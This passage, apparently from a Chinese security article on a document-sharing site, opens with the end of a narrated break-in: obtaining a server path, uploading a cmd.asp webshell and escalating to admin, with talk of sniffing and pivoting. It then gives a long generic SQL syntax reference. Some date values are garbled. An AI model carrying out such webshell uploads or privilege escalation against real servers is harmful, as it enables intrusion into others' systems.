S物理路径==>写一个cmd.asp文件上去得到一个shell==>利用系统配置错误取得admin权限接下来要做的事情,就是把漏洞通知他们的网管了[我可不敢直接告诉他们CEO,呵呵],本来想在那机器上装个sniff什么的,再用来做跳板进一步尝试入侵他的内网,但后来想想还是算了,呵呵三、MSSQL的常见攻击手法和安全防范3.1MSSQL数据库基础知识SQL语法参考手册(1)DB2提供了关连式资料库的查询语言SQL(StructuredQueryLanguage),是一种非常口语化、既易学又易懂的语法。此一语言几乎是每个资料库系统都必须提供的,用以表示关连式的*作,包含了资料的定义(DDL)以及资料的处理(DML)。SQL原来拼成SEQUEL,这语言的原型以"系统R"的名字在IBM圣荷西实验室完成,经过IBM内部及其他的许多使用性及效率测试,其结果相当令人满意,并决定在系统R的技术基础发展出来IBM的产品。而且美国国家标准学会(ANSI)及国际标准化组织(ISO)在1987遵循一个几乎是以IBMSQL为基础的标准关连式资料语言定义。一、资料定义DDL(DataDefinitionLanguage)资料定语言是指对资料的格式和形态下定义的语言,他是每个资料库要建立时候时首先要面对的,举凡资料分哪些表格关系、表格内的有什麽栏位主键、表格和表格之间互相参考的关系等等,都是在开始的时候所必须规划好的。1、建表格:CREATETABLEtable_name(column1DATATYPE[NOTNULL][NOTNULLPRIMARYKEY],column2DATATYPE[NOTNULL],...)说明:DATATYPE--是资料的格式,详见表。NUTNULL--可不可以允许资料有空的(尚未有资料填入)。PRIMARYKEY--是本表的主键。2、更改表格ALTERTABLEtable_nameADDCOLUMNcolumn_nameDATATYPE说明:增加一个栏位(没有删除某个栏位的语法。ALTERTABLEtable_nameADDPRIMARYKEY(column_name)说明:更改表得的定义把某个栏位设为主键。ALTERTABLEtable_nameDROPPRIMARYKEY(column_name)说明:把主键的定义删除。3、建立索引CREATEINDEXindex_nameONtable_name(column_name)说明:对某个表格的栏位建立索引以增加查询时的速度。4、删除DROPtable_nameDROPindex_name二、的资料形态DATATYPEssmallint16位元的整数。interger32位元的整数。decimal(p,s)p精确值和s大小的十进位整数,精确值p是指全部有几个数(digits)大小值,s是指小数点後有几位数。如果没有特别指定,则系统会设为p=5;s=0。float32位元的实数。double64位元的实数。char(n)n长度的字串,n不能超过254。varchar(n)长度不固定且其最大长度为n的字串,n不能超过4000。graphic(n)和char(n)一样,不过其单位是两个字元double-bytes,n不能超过127。这个形态是为了支援两个字元长度的字体,例如中文字。vargraphic(n)可变长度且其最大长度为n的双字元字串,n不能超过2000。date包含了年份、月份、日期。time包含了小时、分钟、秒。timestamp包含了年、月、日、时、分、秒、千分之一秒。三、资料*作DML(DataManipulationLanguage)资料定义好之後接下来的就是资料的*作。资料的*作不外乎增加资料(insert)、查询资料(query)、更改资料(update)、删除资料(delete)四种模式,以下分别介绍他们的语法:1、增加资料:INSERTINTOtable_name(column1,column2,...)valueS(value1,value2,...)说明:1.若没有指定column系统则会按表格内的栏位顺序填入资料。2.栏位的资料形态和所填入的资料必须吻合。3.table_name也可以是景观view_name。INSERTINTOtable_name(column1,column2,...)SELECTcolumnx,columny,...FROManother_table说明:也可以经过一个子查询(subquery)把别的表格的资料填入。2、查询资料:基本查询SELECTcolumn1,columns2,...FROMtable_name说明:把table_name的特定栏位资料全部列出来SELECT*FROMtable_nameWHEREcolumn1=xxx[ANDcolumn2>yyy][ORcolumn3<>zzz]说明:1.'*'表示全部的栏位都列出来。2.WHERE之後是接条件式,把符合条件的资料列出来。SELECTcolumn1,column2FROMtable_nameORDERBYcolumn2[DESC]说明:ORDERBY是指定以某个栏位做排序,[DESC]是指从大到小排列,若没有指明,则是从小到大排列组合查询组合查询是指所查询得资料来源并不只有单一的表格,而是联合一个以上的表格才能够得到结果的。SELECT*FROMtable1,table2WHEREtable1.colum1=table2.column1说明:1.查询两个表格中其中column1值相同的资料。2.当然两个表格相互比较的栏位,其资料形态必须相同。3.一个复杂的查询其动用到的表格可能会很多个。整合性的查询:SELECTCOUNT(*)FROMtable_nameWHEREcolumn_name=xxx说明:查询符合条件的资料共有几笔。SELECTSUM(column1)FROMtable_name说明:1.计算出总和,所选的栏位必须是可数的数字形态。2.除此以外还有AVG()是计算平均、MAX()、MIN()计算最大最小值的整合性查询。SELECTcolumn1,AVG(column2)FROMtable_nameGROUPBYcolumn1HAVINGAVG(column2)>xxx说明:1.GROUPBY:以column1为一组计算column2的平均值必须和AVG、SUM等整合性查询的关键字一起使用。2.HAVING:必须和GROUPBY一起使用作为整合性的限制。复合性的查询SELECT*FROMtable_name1WHEREEXISTS(SELECT*FROMtable_name2WHEREconditions)说明:1.WHERE的conditions可以是另外一个的query。2.EXISTS在此是指存在与否。SELECT*FROMtable_name1WHEREcolumn1IN(SELECTcolumn1FROMtable_name2WHEREconditions)说明:1.IN後面接的是一个集合,表示column1存在集合里面。2.SELECT出来的资料形态必须符合column1。其他查询SELECT*FROMtable_name1WHEREcolumn1LIKE'x%'说明:LIKE必须和後面的'x%'相呼应表示以x为开头的字串。SELECT*FROMtable_name1WHEREcolumn1IN('xxx','yyy',..)说明:IN後面接的是一个集合,表示column1存在集合里面。SELECT*FROMtable_name1WHEREcolumn1BETWEENxxANDyy说明:BETWEEN表示column1的值介於xx和yy之间。3、更改资料:UPDATEtable_nameSETcolumn1='xxx'WHEREconditoins说明:1.更改某个栏位设定其值为'xxx'。2.conditions是所要符合的条件、若没有WHERE则整个table的那个栏位都会全部被更改。4、删除资料:DELETEFROMtable_nameWHEREconditions说明:删除符合条件的资料。说明:关于WHERE条件后面如果包含有日期的比较,不同数据库有不同的表达式。具体如下:(1)如果是ACCESS数据库,则为:WHEREmydate>#2000-01-01#(2)如果是ORACLE数据库,则为:WHEREmydate>cast(񟭀-01-01'asdate)或:WHEREmydate>to_date(񟭀-01-01','yyyy-mm-dd')在Delphi中写成:thedate=񟭀-01-01'query1.SQL.add('select*fromabcwheremydate>cast('+''''+thedate+''''+'asdate)');如果比较日期时间型,则为:WHEREmydatetime>to_date(񟭀-01-0110:00:01',

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论